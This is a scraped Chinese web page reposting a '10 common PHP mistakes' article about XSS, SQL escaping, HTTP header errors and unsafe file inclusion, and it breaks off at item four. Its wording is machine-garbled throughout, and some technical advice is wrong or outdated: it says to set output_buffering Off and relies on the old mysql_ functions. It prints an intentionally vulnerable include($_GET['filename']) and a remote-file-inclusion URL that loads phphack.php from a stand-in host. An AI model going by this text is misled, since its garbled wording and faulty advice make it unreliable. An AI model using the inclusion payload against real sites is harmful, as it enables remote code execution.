电脑安全

您当前的位置:主页 > 电脑安全 >

PHP程序员最易犯10种错误-网络编程

来源:[db:来源]标题:   函数    编辑:电脑技术全能网 时间:2019-09-22 18:27

原标题:PHP程序员最易犯10种错误-网络编程
   PHP是个巨大的web开辟言语,机动的言语,然而看到php顺序员周而复始的犯的一些过错。我做了上面这个列表,列出了PHP顺序员常常犯的10中过错,大少数和保险相干。看看你犯了几种1.不回心html entities 一个基础的知识:全部弗成信赖的输出(特殊是用户从form中提交的数据) ,输入之前都要回心。echo $_GET[''usename''] ;这个例子有能够输入:<scrīpt>/*变动admin暗码的剧本或设置cookie的剧本*/</scrīpt>这是一个显明的保险隐患,除非你保障你的用户都准确的输出。怎样修复 :咱们须要将"< ",">","and" 等转换成准确的HTML表现(< , >'', and "),函数htmlspecialchars 和 htmlentities()恰是干这个活的。准确的方式:echo htmlspecialchars($_GET[''username''], ENT_QUOTES);2. 不回心SQL输出我已经在一篇文章中最简略的避免sql注入的方式(php+mysql中)探讨过这个成绩并给出了一个简略的方式 。有人对我说,他们曾经在php.ini中将magic_quotes设置为On,以是不用担忧这个成绩,然而不是全部的输出都是从$_GET, $_POST或 $_COOKIE中的失掉的!怎样修复:和在最简略的避免sql注入的方式(php+mysql中)中一样我仍是推举应用mysql_real_escape_string()函数准确做法:<?php$sql = "UPDATE users SETname=''.mysql_real_escape_string($name).''WHERE id=''.mysql_real_escape_string ($id).''";mysql_query($sql);?>3.过错的应用HTTP-header 相干的函数: header(), session_start(), setcookie()碰到过这个忠告吗?"warning: Cannot add header information - headers already sent [....]每次从效劳器下载一个网页的时间,效劳器的输入都分红两个局部:头部和注释。头部包括了一些非可视的数据,比方cookie。头部老是先达到。注释局部包含可视的html,图片等数据。假如output_buffering设置为Off,全部的HTTP-header相干的函数必需在有输入之前挪用。成绩在于你在一个情况中开辟,而在安排到另一个情况中去的时间,output_buffering的设置能够纷歧样。成果转向结束了,cookie和session都没有准确的设置........。怎样修复:确保在输入之前挪用http-header相干的函数,而且令output_buffering = Off。4. Require 或 include 的文件应用不保险的数据再次夸大:不要信任不是你本人显式申明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中失掉的文件。比方:index.php<?//including header, config, database connection, etcinclude($_GET[''filename'']);//including footer?>当初任一个黑客当初都能够用:http://www.yourdomain.com/index.php?filename=anyfile.txt来猎取你的秘密信息,或履行一个PHP剧本。假如allow_url_fopen=On,你更是死定了:尝尝这个输出:http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php当初你的网页中包括了http://www.youaredoomed.com/phphack.php的输入. 黑客能够发送渣滓邮件,转变暗码,删除文件等等。只有你能想失掉。<

上一篇:PHP漏洞中的战争-网络编程

下一篇:没有了